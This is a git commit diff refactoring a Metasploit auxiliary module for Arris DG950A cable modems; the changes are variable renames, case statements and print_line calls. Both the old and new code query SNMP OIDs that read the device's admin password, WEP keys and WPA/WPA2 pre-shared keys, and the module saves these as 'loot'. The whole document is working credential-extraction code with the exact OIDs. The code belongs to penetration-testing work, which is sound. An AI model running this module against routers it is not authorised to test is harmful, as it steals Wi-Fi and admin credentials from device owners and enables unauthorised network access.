Update arris_dg950 module with required changes
Collapsed several levels of the if/else statement and changed out 2 with case. Changed print_good to print_line. Removed rescue ::Interrupt and altered variable names to make them more readablebug/bundler_fix
Deral Heiland
parent
9a6ee5090a
commit
872ba6a53b
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@ -30,112 +30,94 @@ class Metasploit3 < Msf::Auxiliary
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snmp = connect_snmp
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if snmp.get_value('sysDescr.0') =~ /DG950A/
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print_good("#{ip}")
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print_line("#{ip}")
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# System Admin Password
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wifiinfo = ''
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wifi_info = ''
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password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
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print_good("Password: #{password}")
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wifiinfo << "Password: #{password}" << "\n"
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print_line("Password: #{password}")
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wifi_info << "Password: #{password}" << "\n"
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else
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fail_with("Does not appear to be an Arris DG950A")
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end
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# check WPA Encryption Algorithm
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encryptalg = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12')
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if encryptalg == '1'
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wpaencrypt = 'TKIP'
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elsif encryptalg == '2'
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wpaencrypt = 'AES'
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elsif encryptalg == '3'
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wpaencrypt = 'TKIP/AES'
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encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12')
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case encrypt_type
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when 1
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wpa_encrypt = "TKIP"
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when 2
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wpa_encrypt = "AES"
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when 3
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wpa_encrypt = "TKIP/AES"
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else
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wpaencrypt = 'Unknown'
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wpa_encrypt = "Unknown"
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end
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# Wifi Status
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wifistatus = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12')
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if wifistatus == '1'
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wifi_status = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12')
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if wifi_status == '1'
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ssid = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2.12')
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print_good("SSID: #{ssid}")
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wifiinfo << "SSID: #{ssid}" << "\n"
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print_line("SSID: #{ssid}")
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wifi_info << "SSID: #{ssid}" << "\n"
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# Wifi Security Settings
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wifiversion = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5.12')
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if wifiversion == '0'
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wifi_version = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5.12')
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if wifi_version == '0'
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print_line('Open Access Wifi is Enabled')
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wifiinfo << 'Open Access WIFI is Enabled' << '\n'
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wifi_info << 'Open Access WIFI is Enabled' << '\n'
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# Wep enabled
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elsif wifiversion == '1'
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weptype = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12')
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if weptype == '1'
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print_good('WEP Key Length: 64BITS ')
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wifiinfo << 'WEP Key Length: 64BITS ' << '\n'
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wepkey1 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.1')
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key1 = "#{wepkey1}"
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print_good("WEP KEY1: #{key1}")
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wifiinfo << "WEP KEY1: #{key1}" << "\n"
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wepkey2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.2')
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key2 = "#{wepkey2}"
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print_good("WEP KEY2: #{key2}")
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wifiinfo << "WEP KEY2: #{key2}" << "\n"
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wepkey3 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.3')
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key3 = "#{wepkey3}"
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print_good("WEP KEY3: #{key3}")
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wifiinfo << "WEP KEY3: #{key3}" << "\n"
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wepkey4 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.4')
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key4 = "#{wepkey4}"
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print_good("WEP KEY4: #{key4}")
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wifiinfo << "WEP KEY4: #{key4}" << "\n"
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elsif weptype == '2'
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print_good('WEP Key Length: 128BITS ')
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wifiinfo << 'WEP Key Length: 128BITS ' << '\n'
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wepkey1 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.1')
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key1 = "#{wepkey1}"
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print_good("WEP KEY1: #{key1}")
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wifiinfo << "WEP KEY1: #{key1}" << "\n"
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wepkey2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.2')
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key2 = "#{wepkey2}"
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print_good("WEP KEY2: #{key2}")
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wifiinfo << "WEP KEY2: #{key2}" << "\n"
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wepkey3 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.3')
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key3 = "#{wepkey3}"
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print_good("WEP KEY3: #{key3}")
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wifiinfo << "WEP KEY3: #{key3}" << "\n"
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wepkey4 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.4')
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key4 = "#{wepkey4}"
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print_good("WEP KEY4: #{key4}")
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wifiinfo << "WEP KEY4: #{key4}" << "\n"
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elsif wifi_version == '1'
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wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12')
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case wep_type
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when 1
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oid = "1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12"
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when 2
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oid = "1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12"
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else
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print_line('FAILED')
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end
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wepkey1 = snmp.get_value("#{oid}.1")
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key1 = "#{wepkey1}"
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print_line("WEP KEY1: #{key1}")
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wifi_info << "WEP KEY1: #{key1}" << "\n"
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wepkey2 = snmp.get_value("#{oid}.2")
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key2 = "#{wepkey2}"
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print_line("WEP KEY2: #{key2}")
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wifi_info << "WEP KEY2: #{key2}" << "\n"
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wepkey3 = snmp.get_value("#{oid}.3")
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key3 = "#{wepkey3}"
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print_line("WEP KEY3: #{key3}")
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wifi_info << "WEP KEY3: #{key3}" << "\n"
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wepkey4 = snmp.get_value("#{oid}.4")
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key4 = "#{wepkey4}"
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print_line("WEP KEY4: #{key4}")
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wifi_info << "WEP KEY4: #{key4}" << "\n"
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# WPA enabled
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elsif wifiversion == '2'
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elsif wifi_version == '2'
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wpapsk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
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print_good("WPA PSK: #{wpapsk}")
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print_good("WPA Encryption: #{wpaencrypt}")
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wifiinfo << "WPA PSK: #{wpapsk}" << "\n"
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wifiinfo << "WPA Encryption #{wpaencrypt}" << "\n"
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print_line("WPA PSK: #{wpapsk}")
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print_line("WPA Encryption: #{wpa_encrypt}")
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wifi_info << "WPA PSK: #{wpapsk}" << "\n"
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wifi_info << "WPA Encryption #{wpa_encrypt}" << "\n"
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# WPA2 enabled
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elsif wifiversion == '3'
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elsif wifi_version == '3'
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wpapsk2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
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print_good("WPA2 PSK: #{wpapsk2}")
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print_good("WPA2 Encryption: #{wpaencrypt}")
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wifiinfo << "WPA2 PSK: #{wpapsk2}" << "\n"
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wifiinfo << "WPA2 Encryption: #{wpaencrypt}" << "\n"
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print_line("WPA2 PSK: #{wpapsk2}")
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print_line("WPA2 Encryption: #{wpa_encrypt}")
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wifi_info << "WPA2 PSK: #{wpapsk2}" << "\n"
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wifi_info << "WPA2 Encryption: #{wpa_encrypt}" << "\n"
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# WPA/WPA2 enabled
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elsif wifiversion == '7'
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elsif wifi_version == '7'
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wpawpa2psk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
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print_good("WPA/WPA2 PSK: #{wpawpa2psk}")
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print_good("WPA/WPA2 Encryption: #{wpaencrypt}")
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wifiinfo << "WPA/WPA2 PSK: #{wpawpa2psk}" << "\n"
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wifiinfo << "WPA/WPA2 Encryption: #{wpaencrypt}" << "\n"
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print_line("WPA/WPA2 PSK: #{wpawpa2psk}")
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print_line("WPA/WPA2 Encryption: #{wpa_encrypt}")
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wifi_info << "WPA/WPA2 PSK: #{wpawpa2psk}" << "\n"
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wifi_info << "WPA/WPA2 Encryption: #{wpa_encrypt}" << "\n"
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else
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print_line('FAILED')
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@ -143,23 +125,20 @@ class Metasploit3 < Msf::Auxiliary
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else
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print_line('WIFI is not enabled')
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end
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else
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print_line('Does not appear to be an Arris DG950A')
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exit
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end
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# Woot we got loot.
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loot_name = 'arris_wifi'
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loot_type = 'text/plain'
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loot_filename = 'arris_wifi.text'
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loot_desc = 'Arris DG950A Wifi configuration data'
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p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo, loot_filename, loot_desc)
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p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc)
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print_status("WIFI Data saved in: #{p}")
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# No need to make noise
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rescue ::SNMP::UnsupportedVersion
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rescue ::SNMP::RequestTimeout
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rescue ::Interrupt
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raise $ERROR_INFO
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rescue ::Exception => e
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print_error("#{ip} error: #{e.class} #{e}")
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print_error("#{ip} error: #{e.class} #{e.message}")
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disconnect_snmp
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end
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end
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